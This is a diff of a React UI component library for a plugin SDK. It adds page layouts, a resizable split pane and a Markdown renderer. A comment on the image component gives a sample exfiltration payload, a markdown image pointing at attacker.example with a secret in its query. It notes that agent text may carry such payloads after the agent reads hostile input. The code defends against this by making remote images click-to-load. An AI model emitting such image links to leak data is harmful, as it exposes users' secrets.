+ export const MAX_DATA_IMAGE: number;
package/ui.js CHANGED
@@ -14,9 +14,13 @@ import { Select as BaseSelect } from "@base-ui/react/select";
14
14
  import { Tabs as BaseTabs } from "@base-ui/react/tabs";
15
15
  import { Toggle as BaseToggle } from "@base-ui/react/toggle";
16
16
  import { ToggleGroup as BaseToggleGroup } from "@base-ui/react/toggle-group";
17
- import { createContext, createElement as h, useContext, useEffect, useId, useLayoutEffect, useRef, useState } from "react";
17
+ import { createContext, createElement as h, useContext, useEffect, useId, memo, useLayoutEffect, useRef, useState } from "react";
18
18
  import { createRoot } from "react-dom/client";
19
19
 
20
+ import { MAX_DATA_IMAGE, parseBlocks, parseInline } from "./markdown.js";
21
+
22
+ export { MAX_DATA_IMAGE };
23
+
20
24
  import { mountShell } from "wings-plugin-sdk/shell";
21
25
 
22
26
  // ---------- places ----------
@@ -111,6 +115,176 @@ export function Card({ as = "div", compact, className, ...rest }) {
111
115
  return h(as, { ...rest, className: cx("w-card", className), "data-size": compact ? "compact" : undefined });
112
116
  }
113
117
 
118
+ // ---------- pages ----------
119
+
120
+ /**
121
+ * A page that fills a tab: a `toolbar` (usually a `Toolbar`) over a body that scrolls. `flush` takes the body's padding
122
+ * and scrolling away, for a body that lays itself out, like a `ListDetail`, a `Split` or a `Board`. Show it with
123
+ * `showTab(<Page />, { fill: true })`.
124
+ */
125
+ export function Page({ toolbar, flush, children, className, ...rest }) {
126
+ return h("div", { ...rest, className: cx("w-page", className) }, toolbar, h("div", { className: "w-page-body", "data-flush": flag(flush) }, children));
127
+ }
128
+
129
+ /** A page's top row: a `title` on the left, `children` like filters or a search box after it, and `actions` on the right. */
130
+ export function Toolbar({ title, actions, children, className, ...rest }) {
131
+ return h(
132
+ "header",
133
+ { ...rest, className: cx("w-toolbar", className) },
134
+ title === undefined ? null : h(Title, { truncate: true, className: "w-toolbar-title" }, title),
135
+ h("div", { className: "w-toolbar-main" }, children),
136
+ actions ? h("div", { className: "w-toolbar-actions" }, actions) : null,
137
+ );
138
+ }
139
+
140
+ /**
141
+ * A `list` pane and a `detail` pane side by side. Without a `detail` the detail pane shows `empty`. Narrower than the
142
+ * page can fit both, it shows one: the list, or the detail once there is one, with a back button if `onBack` is given.
143
+ * `listWidth` is the list's width in px.
144
+ */
145
+ export function ListDetail({ list, detail, empty = h(Empty, { title: "Nothing selected" }), listWidth = 280, listLabel, detailLabel, onBack, backLabel = "Back", className, style, ...rest }) {
146
+ const has = detail !== undefined && detail !== null && detail !== false;
147
+ return h(
148
+ "div",
149
+ // The width is data, not a style: plugin-ui.css sizes the list from it.
150
+ { ...rest, className: cx("w-list-detail", className), style: { ...style, "--w-list-width": `${listWidth}px` }, "data-has-detail": flag(has) },
151
+ h("section", { className: "w-list-detail-list", "aria-label": listLabel }, list),
152
+ h(
153
+ "section",
154
+ { className: "w-list-detail-detail", "aria-label": detailLabel },
155
+ has && onBack ? h(Button, { variant: "ghost", size: "sm", className: "w-list-detail-back", onClick: onBack }, backLabel) : null,
156
+ h("div", { className: "w-list-detail-body" }, has ? detail : empty),
157
+ ),
158
+ );
159
+ }
160
+
161
+ /** Columns side by side that scroll sideways, each a `BoardColumn`. `label` names the scrolling region. */
162
+ export function Board({ label, className, ...rest }) {
163
+ // A scrolling region has to take focus, or a keyboard can't scroll it.
164
+ return h("div", { tabIndex: 0, ...rest, role: "region", "aria-label": label, className: cx("w-board", className) });
165
+ }
166
+
167
+ /** A column of a `Board`: a `title` with the `count` of cards and `actions`, over `children`, usually `Card`s, that scroll. */
168
+ export function BoardColumn({ title, count, actions, children, className, ...rest }) {
169
+ const id = useId();
170
+ return h(
171
+ "section",
172
+ { ...rest, className: cx("w-board-column", className), "aria-labelledby": id },
173
+ h(
174
+ "header",
175
+ { className: "w-board-column-header" },
176
+ h("h2", { id, className: "w-board-column-title" }, title),
177
+ count === undefined ? null : h(Badge, { variant: "secondary", className: "w-board-column-count" }, count),
178
+ actions ? h("div", { className: "w-board-column-actions" }, actions) : null,
179
+ ),
180
+ h("div", { className: "w-board-column-body" }, children),
181
+ );
182
+ }
183
+
184
+ const SPLIT_STEP = 16;
185
+ const SPLIT_STEP_LARGE = 64;
186
+ const SPLIT_HANDLE = 9;
187
+
188
+ /**
189
+ * Two panes, `start` and `end`, with a handle between them. Drag it or use the arrow keys, Home and End. While you drag
190
+ * only a CSS variable changes, so nothing renders per frame; `onResize` gets the start pane's size in px once, when
191
+ * the drag or the key press ends. `direction` horizontal puts the panes side by side, vertical one over the other.
192
+ */
193
+ export function Split({ start, end, direction = "horizontal", defaultSize = 280, min = 120, max, onResize, label = "Resize panes", className, style, ...rest }) {
194
+ const id = useId();
195
+ const box = useRef(null);
196
+ const handle = useRef(null);
197
+ const drag = useRef(null);
198
+ const [size, setSize] = useState(defaultSize);
199
+ const vertical = direction === "vertical";
200
+
201
+ // The start pane can't be smaller than `min`, bigger than `max`, or leave the end pane less than `min`.
202
+ const limits = () => {
203
+ const rect = box.current?.getBoundingClientRect();
204
+ const total = rect ? (vertical ? rect.height : rect.width) : 0;
205
+ const room = total > 0 ? total - SPLIT_HANDLE - min : Infinity;
206
+ return [min, Math.max(min, Math.min(max ?? Infinity, room))];
207
+ };
208
+ const clamp = (value) => {
209
+ const [low, high] = limits();
210
+ return Math.round(Math.min(high, Math.max(low, value)));
211
+ };
212
+ const syncMax = () => {
213
+ const [, high] = limits();
214
+ if (Number.isFinite(high)) handle.current?.setAttribute("aria-valuemax", String(Math.round(high)));
215
+ };
216
+ // Dragging writes the DOM, not state: a render per pointer move would re-render the whole page.
217
+ const preview = (next) => {
218
+ box.current.style.setProperty("--w-split-size", `${next}px`);
219
+ handle.current.setAttribute("aria-valuenow", String(next));
220
+ };
221
+ const commit = (next) => {
222
+ setSize(next);
223
+ if (next !== size) onResize?.(next);
224
+ };
225
+ const endDrag = (e, keep) => {
226
+ if (!drag.current) return;
227
+ const { value } = drag.current;
228
+ drag.current = null;
229
+ handle.current.removeAttribute("data-dragging");
230
+ box.current.removeAttribute("data-dragging");
231
+ if (e.currentTarget.hasPointerCapture?.(e.pointerId)) e.currentTarget.releasePointerCapture(e.pointerId);
232
+ if (keep) commit(value);
233
+ else preview(size);
234
+ };
235
+ useLayoutEffect(syncMax);
236
+
237
+ const onPointerDown = (e) => {
238
+ if (e.button !== 0) return;
239
+ e.preventDefault();
240
+ e.currentTarget.setPointerCapture?.(e.pointerId);
241
+ syncMax();
242
+ drag.current = { from: vertical ? e.clientY : e.clientX, size, value: size };
243
+ handle.current.setAttribute("data-dragging", "");
244
+ box.current.setAttribute("data-dragging", "");
245
+ };
246
+ const onPointerMove = (e) => {
247
+ const d = drag.current;
248
+ if (!d) return;
249
+ d.value = clamp(d.size + (vertical ? e.clientY : e.clientX) - d.from);
250
+ preview(d.value);
251
+ };
252
+ const onKeyDown = (e) => {
253
+ const step = e.shiftKey ? SPLIT_STEP_LARGE : SPLIT_STEP;
254
+ const [low, high] = limits();
255
+ const [less, more] = vertical ? ["ArrowUp", "ArrowDown"] : ["ArrowLeft", "ArrowRight"];
256
+ const next = e.key === less ? size - step : e.key === more ? size + step : e.key === "Home" ? low : e.key === "End" ? high : null;
257
+ if (next === null || !Number.isFinite(next)) return;
258
+ e.preventDefault();
259
+ commit(clamp(next));
260
+ };
261
+
262
+ return h(
263
+ "div",
264
+ // The size is data, not a style: plugin-ui.css sizes the start pane from it.
265
+ { ...rest, ref: box, className: cx("w-split", className), style: { ...style, "--w-split-size": `${size}px` }, "data-direction": direction },
266
+ h("div", { id, className: "w-split-pane" }, start),
267
+ h("div", {
268
+ ref: handle,
269
+ className: "w-split-handle",
270
+ role: "separator",
271
+ tabIndex: 0,
272
+ "aria-label": label,
273
+ "aria-orientation": vertical ? "horizontal" : "vertical",
274
+ "aria-controls": id,
275
+ "aria-valuemin": min,
276
+ "aria-valuemax": max,
277
+ "aria-valuenow": size,
278
+ onPointerDown,
279
+ onPointerMove,
280
+ onPointerUp: (e) => endDrag(e, true),
281
+ onPointerCancel: (e) => endDrag(e, false),
282
+ onKeyDown,
283
+ }),
284
+ h("div", { className: "w-split-pane" }, end),
285
+ );
286
+ }
287
+
114
288
  // ---------- figures ----------
115
289
 
116
290
  const levelTone = (percent, levels) => (!levels ? undefined : percent >= levels[1] ? "danger" : percent >= levels[0] ? "warn" : undefined);
@@ -581,3 +755,119 @@ export function Disclosure({ summary, open, defaultOpen, onOpenChange, children,
581
755
  h(BaseCollapsible.Panel, { className: "w-disclosure-panel" }, children),
582
756
  );
583
757
  }
758
+
759
+ // ---------- markdown ----------
760
+
761
+ const openLink = (e, href) => {
762
+ e.preventDefault();
763
+ // Needs `permissions.openUrl` in the manifest, like `["https://"]`.
764
+ wings.openUrl(href).catch(console.error);
765
+ };
766
+
767
+ /** Parsed inline spans by text, so a render doesn't parse every cell and paragraph again. */
768
+ const inlines = new Map();
769
+ function inlineOf(text) {
770
+ let parts = inlines.get(text);
771
+ if (!parts) {
772
+ parts = parseInline(text);
773
+ if (inlines.size >= 500) inlines.delete(inlines.keys().next().value);
774
+ inlines.set(text, parts);
775
+ }
776
+ return parts;
777
+ }
778
+
779
+ /**
780
+ * A remote image is a button until it's clicked: loading an image tells its server who looked and when, and the text
781
+ * may come from an agent that read something hostile (`![](https://attacker.example/?d=secret)`). A data: image
782
+ * carries its own bytes, so it shows at once.
783
+ */
784
+ function MdImage({ src, alt }) {
785
+ const [loaded, setLoaded] = useState(false);
786
+ const img = (h("img", { className: "w-md-image", src, alt, loading: "lazy", decoding: "async", referrerPolicy: "no-referrer" }));
787
+ if (src.startsWith("data:") || loaded) return img;
788
+ const host = new URL(src).host;
789
+ return h("button", { type: "button", className: "w-md-image-load", title: alt || undefined, onClick: () => setLoaded(true) }, `Load image from ${host}`);
790
+ }
791
+
792
+ function MdInline({ text }) {
793
+ return inlineOf(text).map((part, i) => {
794
+ switch (part.kind) {
795
+ case "code":
796
+ return h("code", { key: i, className: "w-md-code" }, part.text);
797
+ case "strong":
798
+ return h("strong", { key: i }, part.text);
799
+ case "em":
800
+ return h("em", { key: i }, part.text);
801
+ case "del":
802
+ return h("del", { key: i }, part.text);
803
+ case "image":
804
+ return h(MdImage, { key: i, src: part.src, alt: part.alt });
805
+ case "link":
806
+ return h("a", { key: i, className: "w-md-link", href: part.href, onClick: (e) => openLink(e, part.href) }, part.text);
807
+ default:
808
+ return part.text;
809
+ }
810
+ });
811
+ }
812
+
813
+ /** Parsed blocks by source, so a page that renders many sections only parses the one that changed. */
814
+ const parsed = new Map();
815
+ function blocksOf(source) {
816
+ let blocks = parsed.get(source);
817
+ if (!blocks) {
818
+ blocks = parseBlocks(source);
819
+ if (parsed.size >= 200) parsed.delete(parsed.keys().next().value);
820
+ parsed.set(source, blocks);
821
+ }
822
+ return blocks;
823
+ }
824
+
825
+ /**
826
+ * Markdown as React elements. No HTML is ever parsed; links open through `wings.openUrl` and only when they are
827
+ * https; images show only from https or small data:image URLs, and an https image loads only when clicked. Re-renders only when `source` changes.
828
+ */
829
+ export const Markdown = memo(function Markdown({ source, inline, className, ...rest }) {
830
+ if (inline) return h("span", { ...rest, className: cx("w-md", className) }, h(MdInline, { text: source }));
831
+ return h(
832
+ "div",
833
+ { ...rest, className: cx("w-md", className) },
834
+ blocksOf(source).map((b, i) => {
835
+ switch (b.kind) {
836
+ case "heading":
837
+ return h(`h${Math.min(b.level + 2, 6)}`, { key: i, className: "w-md-heading", "data-level": Math.min(b.level, 4) }, h(MdInline, { text: b.text }));
838
+ case "list":
839
+ return h(
840
+ b.ordered ? "ol" : "ul",
841
+ { key: i, className: "w-md-list", "data-ordered": b.ordered ? "" : undefined },
842
+ b.items.map((item, j) =>
843
+ h(
844
+ "li",
845
+ { key: j, "data-depth": item.depth || undefined, "data-task": item.checked === null ? undefined : "" },
846
+ item.checked === null ? null : h("input", { type: "checkbox", checked: item.checked, disabled: true, "aria-label": item.checked ? "Done" : "Not done", className: "w-md-check" }),
847
+ h(MdInline, { text: item.text }),
848
+ ),
849
+ ),
850
+ );
851
+ case "code":
852
+ return h("pre", { key: i, className: "w-md-pre" }, h("code", null, b.text));
853
+ case "quote":
854
+ return h("blockquote", { key: i, className: "w-md-quote" }, h(MdInline, { text: b.text }));
855
+ case "rule":
856
+ return h("hr", { key: i, className: "w-md-rule" });
857
+ case "table":
858
+ return h(
859
+ "div",
860
+ { key: i, className: "w-md-table-wrap" },
861
+ h(
862
+ "table",
863
+ { className: "w-md-table" },
864
+ h("thead", null, h("tr", null, b.head.map((c, j) => h("th", { key: j, scope: "col", "data-align": b.align[j] ?? undefined }, h(MdInline, { text: c }))))),
865
+ h("tbody", null, b.rows.map((row, r) => h("tr", { key: r }, row.map((c, j) => h("td", { key: j, "data-align": b.align[j] ?? undefined }, h(MdInline, { text: c })))))),
866
+ ),
867
+ );
868
+ default:
869
+ return h("p", { key: i }, h(MdInline, { text: b.text }));
870
+ }
871
+ }),
872
+ );
873
+ });